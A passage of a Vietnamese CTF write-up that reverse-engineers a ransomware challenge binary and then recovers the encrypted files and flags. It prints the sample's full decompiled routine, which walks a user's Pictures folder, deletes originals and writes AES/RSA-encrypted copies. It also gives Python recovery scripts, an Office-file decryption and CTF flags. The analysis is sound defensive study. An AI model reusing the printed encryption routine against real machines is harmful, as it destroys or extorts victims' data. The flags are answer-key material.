GetVolumeInformationW, GetUserNameW, GetComputerNameW → ghép “Victim ID” bằng wsprintfW(L"%s_%s_%08X", …) rồi WideCharToMultiByte.
Gọi cặp hàm MD5 tự cài đặt: sub_1400010D0 (update) + sub_140001380 (final) để băm Victim ID → 16 byte MD5 dùng làm IV.
CryptAcquireContextW(... PROV_RSA_FULL) + CryptGenRandom(…, 32) → sinh AES-256 key (32B).
ExpandEnvironmentStringsA("%userprofile%\\Pictures\\Saved Pictures\\", …) rồi gọi sub_140001790(path, aesKey32, md5IV16)
#### 2.4.2 sub_140001790 → duyệt & mã hoá file, thả 2 cặp .Cyrene/.Phainon
```c!
int __fastcall sub_140001790(const char *a1, __int128 *a2, const BYTE *a3)
{
const BYTE *v3; // r14
__int128 *v4; // rsi
const char *v5; // rdi
HANDLE FirstFileA; // rax
void *v7; // r15
char *v8; // rax
const char *v9; // rbx
size_t v10; // rdi
void *v11; // r13
__int128 v12; // xmm0
__int128 v13; // xmm1
size_t v14; // rcx
void *v15; // r14
unsigned int v16; // r12d
__int128 v17; // xmm1
CHAR *v18; // r15
void *v19; // rdi
void *v20; // rbx
unsigned __int64 v21; // rbx
char *v22; // rax
char *v23; // rsi
unsigned __int64 v24; // r14
char *v25; // r12
size_t v26; // rdi
BOOL v27; // ebx
size_t v28; // rbx
char *v29; // rax
char *v30; // rdi
size_t v31; // rdx
signed __int64 v32; // rsi
char *v33; // rcx
size_t v34; // rax
FILE *v35; // rax
FILE *v36; // rsi
HANDLE v38; // [rsp+40h] [rbp-C0h]
char *v41; // [rsp+58h] [rbp-A8h]
void *v42; // [rsp+60h] [rbp-A0h]
void *v43; // [rsp+68h] [rbp-98h]
DWORD pcbEncoded; // [rsp+78h] [rbp-88h] BYREF
FILE *Stream; // [rsp+80h] [rbp-80h] BYREF
DWORD pdwDataLen; // [rsp+88h] [rbp-78h] BYREF
DWORD pcchString; // [rsp+8Ch] [rbp-74h] BYREF
DWORD v49; // [rsp+90h] [rbp-70h] BYREF
HCRYPTKEY hKey; // [rsp+98h] [rbp-68h] BYREF
HCRYPTPROV phProv; // [rsp+A0h] [rbp-60h] BYREF
HCRYPTPROV v52; // [rsp+A8h] [rbp-58h] BYREF
HCRYPTPROV hProv; // [rsp+B0h] [rbp-50h] BYREF
HCRYPTKEY v54; // [rsp+B8h] [rbp-48h] BYREF
BYTE pbData[4]; // [rsp+C0h] [rbp-40h] BYREF
int v56; // [rsp+C4h] [rbp-3Ch]
int v57; // [rsp+C8h] [rbp-38h]
__int128 v58; // [rsp+CCh] [rbp-34h]
__int128 v59; // [rsp+DCh] [rbp-24h]
struct _WIN32_FIND_DATAA FindFileData; // [rsp+F0h] [rbp-10h] BYREF
BYTE pbBuffer[32]; // [rsp+230h] [rbp+130h] BYREF
CHAR v62[272]; // [rsp+250h] [rbp+150h] BYREF
BYTE Buffer[16]; // [rsp+360h] [rbp+260h] BYREF
__int128 v64; // [rsp+370h] [rbp+270h]
CHAR FileName[272]; // [rsp+460h] [rbp+360h] BYREF
CHAR v66[272]; // [rsp+570h] [rbp+470h] BYREF
char v67[272]; // [rsp+680h] [rbp+580h] BYREF
CHAR v68[272]; // [rsp+790h] [rbp+690h] BYREF
char v69[272]; // [rsp+8A0h] [rbp+7A0h] BYREF
v3 = a3;
v4 = a2;
v5 = a1;
sub_140001070(FileName, 0x104u, "%s\\*", a1);
FirstFileA = FindFirstFileA(FileName, &FindFileData);
v38 = FirstFileA;
v7 = FirstFileA;
if ( FirstFileA == (HANDLE)-1LL )
return (int)FirstFileA;
while ( 1 )
{
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
goto LABEL_53;
v8 = strrchr(FindFileData.cFileName, 46);
v9 = v8;
if ( v8 )
{
if ( !stricmp(v8, ".Cyrene") || !stricmp(v9, ".Phainon") )
goto LABEL_53;
}
sub_140001070(v62, 0x104u, "%s\\%s", v5, FindFileData.cFileName);
Stream = 0;
fopen_s(&Stream, v62, "rb");
if ( !Stream )
goto LABEL_53;
fseek(Stream, 0, 2);
v10 = (unsigned int)ftell(Stream);
fseek(Stream, 0, 0);
v42 = malloc((int)v10);
v11 = v42;
fread(v42, 1u, (int)v10, Stream);
fclose(Stream);
DeleteFileA(v62);
phProv = 0;
if ( CryptAcquireContextW(&phProv, 0, 0, 0x18u, 0xF0000000) )
break;
LABEL_52:
free(v11);
v5 = a1;
LABEL_53:
if ( !FindNextFileA(v7, &FindFileData) )
goto LABEL_57;
}
v12 = *v4;
v13 = v4[1];
*(_DWORD *)pbData = 520;
v56 = 26128;
v58 = v12;
v57 = 32;
v59 = v13;
hKey = 0;
if ( !CryptImportKey(phProv, pbData, 0x2Cu, 0, 0, &hKey) )
{
CryptReleaseContext(phProv, 0);
goto LABEL_52;
}
if ( !CryptSetKeyParam(hKey, 1u, v3, 0) )
{
CryptDestroyKey(hKey);
CryptReleaseContext(phProv, 0);
goto LABEL_52;
}
pdwDataLen = v10;
v14 = (unsigned int)(v10 + 16);
if ( (unsigned int)v10 >= 0xFFFFFFF0 )
v14 = -1;
v43 = malloc(v14);
v15 = v43;
memcpy(v43, v42, v10);
if ( !CryptEncrypt(hKey, 0, 1, 0, (BYTE *)v43, &pdwDataLen, pdwDataLen + 16) )
{
CryptDestroyKey(hKey);
CryptReleaseContext(phProv, 0);
free(v43);
LABEL_51:
v3 = a3;
goto LABEL_52;
}
v16 = pdwDataLen;
LODWORD(v52) = pdwDataLen;
CryptDestroyKey(hKey);
CryptReleaseContext(phProv, 0);
hProv = 0;
v54 = 0;
if ( !CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000000) )
goto LABEL_57;
if ( !CryptGenKey(hProv, 1u, 0x8000001u, &v54) )
goto LABEL_57;
v17 = v4[1];
*(_OWORD *)Buffer = *v4;
v64 = v17;
v49 = 32;
if ( !CryptEncrypt(v54, 0, 1, 0, Buffer, &v49, 0x100u) )
goto LABEL_57;
v49 = 0;
if ( CryptExportKey(v54, 0, 7u, 0, 0, &v49) )
{
v19 = malloc(v49);
if ( CryptExportKey(v54, 0, 7u, 0, (BYTE *)v19, &v49) )
{
pcbEncoded = 0;
CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v19, 0, 0, 0, &pcbEncoded);
v20 = malloc(pcbEncoded);
CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v19, 0, 0, v20, &pcbEncoded);
pcchString = 0;
CryptBinaryToStringA((const BYTE *)v20, pcbEncoded, 0x40000001u, 0, &pcchString);
v18 = (CHAR *)malloc(pcchString);
CryptBinaryToStringA((const BYTE *)v20, pcbEncoded, 0x40000001u, v18, &pcchString);
free(v19);
free(v20);
}
else
{
free(v19);
v18 = 0;
}
}
else
{
v18 = 0;
}
v21 = -1;
do
++v21;
while ( v18[v21] );
v22 = (char *)malloc(v21 + ((v21 + 63) >> 6) + 63);
v41 = v22;
v23 = v22;
if ( v22 )
{
v24 = 0;
v25 = &v22[sub_140001010(v22, "%s", "-----BEGIN RSA PRIVATE KEY-----\n")];
if ( v21 )
{
do
{
v26 = v21 - v24;
if ( v24 + 64 < v21 )
v26 = 64;
memcpy(v25, &v18[v24], v26);
v24 += 64LL;
v25[v26] = 10;
v25 += v26 + 1;
}
while ( v24 < v21 );
v23 = v41;
v11 = v42;
}
sub_140001010(v25, "%s", "-----END RSA PRIVATE KEY-----\n");
v15 = v43;
v16 = v52;
}
else
{
v23 = 0;
}
sub_140001070(v67, 0x104u, "%s.Cyrene", v62);
sub_140001070(v66, 0x104u, "desktop.ini.Cyrene", v62);
DeleteFileA(v66);
v52 = 0;
if ( !CryptAcquireContextW(&v52, 0, 0, 1u, 0xF0000000)
|| (v27 = CryptGenRandom(v52, 0x20u, pbBuffer), CryptReleaseContext(v52, 0), !v27) )
{
LABEL_44:
sub_140001070(v69, 0x104u, "%s.Phainon", v62);
sub_140001070(v68, 0x104u, "desktop.ini.Phainon", v62);
DeleteFileA(v68);
fopen_s(&Stream, v69, "wb");
if ( Stream )
{
fwrite(Buffer, 1u, 0x100u, Stream);
fwrite(v15, 1u, v16, Stream);
fclose(Stream);
}
free(v15);
if ( v54 )
CryptDestroyKey(v54);
if ( hProv )
CryptReleaseContext(hProv, 0);
v7 = v38;
v4 = a2;
goto LABEL_51;
}
v28 = -1;
do
++v28;
while ( v23[v28] );
v29 = (char *)malloc(v28);
v30 = v29;
if ( !v29 )
goto LABEL_56;
v31 = 0;
if ( v28 )
{
v32 = v23 - v29;
do
{
v33 = &v30[v31];
v34 = v31++ & 0x1F;
*v33 = v33[v32] ^ pbBuffer[v34];
}
while ( v31 < v28 );
}
v35 = fopen(v67, "wb");
v36 = v35;
if ( v35 )
{
fwrite(v30, 1u, v28, v35);
fclose(v36);
free(v30);
goto LABEL_44;
}
free(v30);
LABEL_56:
v7 = v38;
LABEL_57:
LODWORD(FirstFileA) = FindClose(v7);
return (int)FirstFileA;
}
```
```!
(a) Duyệt thư mục & lọc file
FindFirstFileA("%s\\*", path) / FindNextFileA → lặp.
Bỏ qua thư mục và đuôi .Cyrene, .Phainon.
Đọc toàn bộ file vào buffer rồi DeleteFileA(original).
void sub_140001000()
(b) Mã hoá nội dung bằng AES-256-CBC
CryptAcquireContextW(... PROV_RSA_AES) → CryptImportKey với blob chứa aesKey32 (tham số 2 của hàm) tạo hKey.
CryptSetKeyParam(hKey, KP_IV, md5IV16) → đặt IV = MD5(VictimID).
CryptEncrypt(hKey, …, Final=TRUE, buf, &len, len+16) → ciphertext của file.
void sub_140001000()
( c ) Gói AES key bằng RSA & tạo 2 file đầu ra
CryptAcquireContextW(... PROV_RSA_FULL) → CryptGenKey(hProv, AT_KEYEXCHANGE, 0x80000001, &rsaPriv).
Sao chép aesKey32 vào buffer 0x20 rồi CryptEncrypt(rsaPriv, …) để được khối 0x100 byte theo PKCS#1 v1.5 (RSA-2048).
CryptExportKey(..., PRIVATEKEYBLOB) → CryptEncodeObjectEx + CryptBinaryToStringA → Base64 PEM; tự ghép header/footer "-----BEGIN RSA PRIVATE KEY-----".
XOR PEM bằng một key 32B ngẫu nhiên (CryptGenRandom) vòng lặp theo byte → ghi <name>.Cyrene.
Ghi <name>.Phainon = RSA_block(0x100) + AES_CBC(ciphertext); xoá tạm, đóng handle.
> • .Cyrene = PEM private key đã XOR bằng key 32B ngẫu nhiên (key lặp).
> • .Phainon = [0x100] RSA(aesKey32) || AES-CBC(data).
> • IV = MD5(VictimID) → giải được chỉ cần PEM + file .Phainon.
```
Nhìn chung phần này do bản thân mình kém REV nên mình dùng AI phân tích các hàm để hiểu logic của con ransom này, nói ngắn gọn lại:
1. **Thu thập định danh nạn nhân**
* Gọi `GetUserNameW`, `GetComputerNameW`, `GetVolumeInformationW` (serial).
* Nối thành chuỗi `VictimID = "%USER%_%HOST%_%08X"`, rồi **MD5** → lấy **16 byte** làm **IV AES**.
2. **Sinh khoá đối xứng**
* `CryptGenRandom(…, 32)` → **AES-256 key** (32B).
3. **Duyệt và mã hoá file**
* Duyệt thư mục ảnh đích (`%userprofile%\Pictures\Saved Pictures\…`).
* Bỏ qua các đuôi tự sinh (`.Cyrene`, `.Phainon`), đọc nội dung file gốc vào RAM.
* **AES-256-CBC**: import `aesKey32`, đặt `KP_IV = MD5(VictimID)`, `CryptEncrypt` → ciphertext.
4. **Gói khoá AES bằng RSA và ghi ra 2 file**
* Sinh **RSA-2048 private key** on-the-fly.
* `CryptEncrypt(RSA_priv, aesKey32)` theo **PKCS#1 v1.5** → **block 0x100 byte**.
* Export private key thành **PEM**, rồi **XOR** tuần hoàn với **1 key ngẫu nhiên 32B** → ghi **`<name>.Cyrene`**.
* Ghi **`<name>.Phainon`** = `RSA_block(256B)` **||** `AES_CBC(ciphertext)`.
* Xoá file gốc.
> **Kết quả:** Mỗi file bị mã hoá sẽ sinh cặp **`.Cyrene`** (PEM bị XOR) và **`.Phainon`** (RSA_block + AES dữ liệu).
```mermaid
sequenceDiagram
participant Host as Host Info API
participant Crypto as Crypto APIs
participant Writer as File Writer
Host->>Crypto: VictimID (User, Host, VolSerial)
Crypto->>Crypto: IV = MD5(VictimID)
Crypto->>Crypto: K = CryptGenRandom(32)
Crypto->>Crypto: {Pub,Priv} = RSA-2048
Crypto->>Crypto: C = AES-256-CBC(File, K, IV)
Crypto->>Crypto: R = RSA_v1.5_Encrypt(Pub, K) (256B)
Crypto->>Writer: XOR(PrivPEM, 32B rnd) → .Cyrene
Crypto->>Writer: R || C → .Phainon
```
```mermaid
flowchart LR
Cy[".Cyrene"] -->|XOR 32B repeat| Pem["PEM Private Key"]
Pha[".Phainon"] -->|first 256B| Rsa["RSA block"]
Pha -->|rest| Ciph["AES-CBC ciphertext"]
Pem --> DecRSA["PKCS#1 v1.5 Decrypt"] --> K["AES-256 key K"]
Vict["VictimID"] --> IV["IV = MD5(VictimID)"]
K --> Dec["AES-256-CBC Decrypt"]
IV --> Dec
Ciph --> Dec --> Out["Recovered file"]
```
---
### 2.5 Recover Flag
#### 2.5.1. **Khôi phục PEM từ `.Cyrene`**
* Dùng crib “`-----BEGIN RSA PRIVATE KEY-----`” để **brute/XOR-drag** ra **key 32B**.
* 
* XOR toàn file `.Cyrene` bằng key này → thu **PEM private key** hợp lệ.
* 
Tuy nhiên thì không hiểu sao dùng cyberchef nó cứ bị dính lỗi, nên mình gen 1 script khôi phục PEM khác cho hoàn chỉnh:
```python!
# recover_pem_from_cyrene.py
import os
HEADER_CANDIDATES = [
b"-----BEGIN RSA PRIVATE KEY-----\n",
b"-----BEGIN RSA PRIVATE KEY-----\r\n",
b"-----BEGIN RSA PRIVATE KEY-----",
]
def xor_repeat(data: bytes, key: bytes) -> bytes:
L = len(key)
return bytes(b ^ key[i % L] for i, b in enumerate(data))
def derive_key32_from_header(cipher: bytes):
# 1) thử khớp ngay từ đầu file
for hdr in HEADER_CANDIDATES:
if len(cipher) >= len(hdr):
k = bytes(cipher[i] ^ hdr[i] for i in range(min(32, len(hdr))))
if len(k) < 32:
k = (k * (32 // len(k) + 1))[:32]
plain = xor_repeat(cipher, k)
if (b"-----BEGIN RSA PRIVATE KEY-----" in plain and
b"-----END RSA PRIVATE KEY-----" in plain):
return k, plain
# 2) fallback: thử lệch offset 1..31 (phòng khi vòng lặp key không bắt đầu ở offset 0)
for shift in range(1, 32):
for hdr in HEADER_CANDIDATES:
if len(cipher) > shift + len(hdr):
k = bytes(cipher[shift+i] ^ hdr[i] for i in range(min(32, len(hdr))))
if len(k) < 32:
k = (k * (32 // len(k) + 1))[:32]
plain = xor_repeat(cipher, k)
if (b"-----BEGIN RSA PRIVATE KEY-----" in plain and
b"-----END RSA PRIVATE KEY-----" in plain):
return k, plain
return None, None
def recover(cyrene_path: str, out_pem_path: str = None):
data = open(cyrene_path, "rb").read()
k32, pem = derive_key32_from_header(data)
if not k32:
raise SystemExit(f"[!] failed: could not derive XOR key from {cyrene_path}")
if not out_pem_path:
out_pem_path = cyrene_path + ".recovered.pem"
with open(out_pem_path, "wb") as f:
f.write(pem)
print(f"[ok] {cyrene_path}")
print(f" XOR key (32B hex): {k32.hex()}")
print(f" -> saved PEM: {out_pem_path}")
if __name__ == "__main__":
import argparse
ap = argparse.ArgumentParser(description="Recover PEM from .Cyrene by crib-dragging the RSA header")
ap.add_argument("cyrene", help=".Cyrene file path")
ap.add_argument("-o", "--out", help="output PEM path (optional)")
args = ap.parse_args()
recover(args.cyrene, args.out)
```
Output:

#### 2.5.2. Trích AES key & IV từ .Phainon, rồi giải dữ liệu
**Bước 1 – Lấy AES key (32B) từ block RSA:**
* `.Phainon` bắt đầu bằng **một block RSA 2048-bit (256B)** chứa khóa AES được bọc theo **PKCS#1 v1.5**.
* Mình dùng private key (PEM) để **RSA raw decrypt** rồi **tìm mẫu** `0x00 0x02 … 0x00 || <32 bytes>` → lấy ra **AES-256 key**.
* Vì có thể tác giả ghi “lệch” (hoặc đảo endian), script quét **trượt theo độ dài modulus** và thử **cả block đảo**:
* `modlen = (n.bit_length()+7)//8` (thường là 256).
* Với mỗi offset: `m = RSA^−1(c)` → tìm `00 02 ... 00`.
**Bước 2 – Tại sao không cần IV ban đầu?**

* Ở đây file gốc là **PNG**, nên **header 16 byte đầu** là **tĩnh**:
```
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
```
* Solve:
1. Lấy block đầu ciphertext `C1`.
2. Dùng **AES-ECB decrypt** với `key` để tính `Dec_K(C1)` (vì về mặt toán học CBC-decrypt block đầu chính là một lần ECB-decrypt).
3. **XOR** kết quả đó với **PNG_HEAD16** ⇒ ra **IV** thực tế.
* Vì vậy **không cần VictimID/MD5**: IV được **phục hồi trực tiếp từ ciphertext** nhờ **known-plaintext**.
**Bước 3 – Giải toàn bộ phần còn lại**
* Dùng `AES.new(key, AES.MODE_CBC, iv)` để **decrypt toàn bộ ciphertext** phía sau block RSA → thu **file gốc** (PNG).
---
Script Solve:
```python!
import base64, argparse
PNG_HEAD16 = bytes.fromhex("89504e470d0a1a0a0000000d49484452")
def read_tlv(d, i):
t = d[i]; i += 1
l = d[i]; i += 1
if l & 0x80:
n = l & 0x7F
L = int.from_bytes(d[i:i+n], "big"); i += n
else:
L = l
v = d[i:i+L]; i += L
return t, v, i
def read_seq(d, i):
t, v, i2 = read_tlv(d, i)
if t != 0x30: raise ValueError("expect SEQUENCE")
return v, i2
def read_int(d, i):
t, v, i2 = read_tlv(d, i)
if t != 0x02: raise ValueError("expect INTEGER")
if len(v) > 1 and v[0] == 0: v = v[1:]
return int.from_bytes(v, "big"), i2
def parse_pkcs1_rsa_private_key(der):
rs, i = read_seq(der, 0)
d2, j = rs, 0
_ver, j = read_int(d2, j)
n, j = read_int(d2, j)
e, j = read_int(d2, j)
d, j = read_int(d2, j)
return n, d
def parse_pkcs8_private_key(der):
rs, i = read_seq(der, 0)
_ver, i = read_int(rs, 0)
algseq, i = read_seq(rs, i) # AlgorithmIdentifier (bỏ qua)
t, priv_octets, i = read_tlv(rs, i)
if t != 0x04: raise ValueError("expect OCTET STRING")
return parse_pkcs1_rsa_private_key(priv_octets)
def load_n_d_from_pem(pem_path):
s = open(pem_path, "rb").read().decode("ascii", "ignore")
if "-----BEGIN RSA PRIVATE KEY-----" in s:
b64 = s.split("-----BEGIN RSA PRIVATE KEY-----")[1].split("-----END RSA PRIVATE KEY-----")[0]
der = base64.b64decode("".join(b64.strip().splitlines()))
return parse_pkcs1_rsa_private_key(der)
elif "-----BEGIN PRIVATE KEY-----" in s:
b64 = s.split("-----BEGIN PRIVATE KEY-----")[1].split("-----END PRIVATE KEY-----")[0]
der = base64.b64decode("".join(b64.strip().splitlines()))
return parse_pkcs8_private_key(der)
else:
raise SystemExit("[-] PEM không phải RSA PRIVATE KEY / PRIVATE KEY")
def rsa_raw_decrypt(c_bytes, n, d):
c = int.from_bytes(c_bytes, "big")
m = pow(c, d, n).to_bytes((n.bit_length()+7)//8, "big")
if len(m) < len(c_bytes):
m = b"\x00"*(len(c_bytes)-len(m)) + m
return m
def find_pkcs1_v15_key32(m):
# tìm 00 02 ... 00 || 32 bytes ở bất kỳ offset
i = 0
while i+2 < len(m):
if m[i] == 0x00 and m[i+1] == 0x02:
try:
z = m.index(b"\x00", i+2)
except ValueError:
break
tail = m[z+1:]
if len(tail) >= 32:
return tail[:32]
i = z + 1
else:
i += 1
return None
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--pem", required=True)
ap.add_argument("--phainon", required=True)
ap.add_argument("-o", "--out", default="recovered.png")
args = ap.parse_args()
n, d = load_n_d_from_pem(args.pem)
modlen = (n.bit_length()+7)//8 # độ dài block RSA theo modulus (ví dụ 256 cho 2048-bit)
buf = open(args.phainon, "rb").read()
# quét trượt theo modlen
key = None
hit_off = None
for off in range(0, max(1, len(buf)-modlen+1)):
blk = buf[off:off+modlen]
if len(blk) < modlen: break
for candidate in (blk, blk[::-1]):
m = rsa_raw_decrypt(candidate, n, d)
k = find_pkcs1_v15_key32(m)
if k:
key = k
hit_off = off
break
if key:
break
if not key:
raise SystemExit("[-] không trích được AES key từ .Phainon (đã quét theo modulus & thử đảo endian)")
try:
from Crypto.Cipher import AES
except Exception:
try:
from Cryptodome.Cipher import AES
except Exception:
raise SystemExit("[-] Cần cài pycryptodome: pip install pycryptodome")
ciph = buf[hit_off+modlen:]
if len(ciph) < 16:
raise SystemExit("[-] phần AES ciphertext quá ngắn")
dec_first = AES.new(key, AES.MODE_ECB).decrypt(ciph[:16])
iv = bytes(a ^ b for a, b in zip(dec_first, PNG_HEAD16))
plain = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ciph)
open(args.out, "wb").write(plain)
print(f"[OK] saved: {args.out}")
print("hit offset :", hit_off)
print("modlen :", modlen)
print("AES-256 key:", key.hex())
print("IV :", iv.hex())
if __name__ == "__main__":
main()
```
```bash!
PS C:\Users\acer\Downloads\KMA CTF II\ANEOX> & C:/Users/acer/AppData/Local/Programs/Python/Python312/python.exe "c:/Users/acer/Downloads/KMA CTF II/ANEOX/xorrr.py" --pem "Screenshot (323).png.Cyrene.recovered.pem" --phainon "Screenshot (323).png.Phainon" -o shot.png
[OK] saved: shot.png
hit offset : 0
modlen : 256
AES-256 key: 01adf921337480cde4c28f62a0000efc81b0f712ef81b4eb4ac6608980b943a8
IV : b51d8275fed87e665767bc24bf67a5a2
PS C:\Users\acer\Downloads\KMA CTF II\ANEOX> & C:/Users/acer/AppData/Local/Programs/Python/Python312/python.exe "c:/Users/acer/Downloads/KMA CTF II/ANEOX/xorrr.py" --pem .\Secret.png.Cyrene.recovered.pem --phainon .\Secret.png.Phainon -o sec.png
[OK] saved: sec.png
hit offset : 0
modlen : 256
AES-256 key: 01adf921337480cde4c28f62a0000efc81b0f712ef81b4eb4ac6608980b943a8
IV : b51d8275fed87e665767bc24bf67a5a2
PS C:\Users\acer\Downloads\KMA CTF II\ANEOX>
```

> Vì sao cách “không cần IV” chỉ hợp trong bài này?
>
> Điều kiện bắt buộc: biết chắc 16 byte đầu tiên của plaintext bị mã hóa (PNG, PDF, ZIP… có magic bytes cố định).
>
> Nếu nạn nhân bị mã hóa các file không có header dự đoán được, hoặc tác giả thay đổi thứ tự/tiền tố (ví dụ thêm salt/garbage trước dữ liệu), ta không suy IV kiểu này được. Lúc đó phải:
>
> Tính IV = MD5(VictimID) như logic malware (VictimID từ GetUserNameW + GetComputerNameW + Volume Serial), hoặc
>
> Tự tìm khối có known-plaintext khác trong file.
>
>
> Kết luận:
>
> .Cyrene: XOR-drag header PEM ⇒ 32B key ⇒ RSA private key.
>
> .Phainon: RSA v1.5 decrypt ⇒ AES-256 key; IV được suy từ block đầu nhờ known-plaintext header PNG ⇒ AES-CBC decrypt ⇒ ảnh/flag.
> Flag: KMACTF{1_Forensics_kho_la_1_Forensics_nang_Reverse:D}
> 
---
## 3. raito yagami

File được mã hoá bằng password-based encryption (Office Agile). Pass excel: `123456`
Để giải file cần một công cụ có thể thực hiện PBKDF2(SHA512) + AES-256 theo chuẩn Office — ví dụ msoffcrypto-tool.
Script Solve:
```python!
import msoffcrypto
from io import BytesIO
import openpyxl
with open("tesst.xlsx","rb") as f:
of = msoffcrypto.OfficeFile(f)
of.load_key(password="123456")
buf = BytesIO()
of.decrypt(buf)
buf.seek(0)
wb = openpyxl.load_workbook(buf, data_only=True)
print(wb.sheetnames)
ws = wb[wb.sheetnames[0]]
for i,row in enumerate(ws.iter_rows(values_only=True)):
print(row)
if i>30:
break
```
Output
```bash!
['Sheet', 'Sheet1']
('Flag: KMACTF{unhid3_is_th3_n3w_t3chnique=))}',)
```
> Flag: KMACTF{unhid3_is_th3_n3w_t3chnique=))}
---
## 4. Pure Forensics

> Hint: Data Deduplication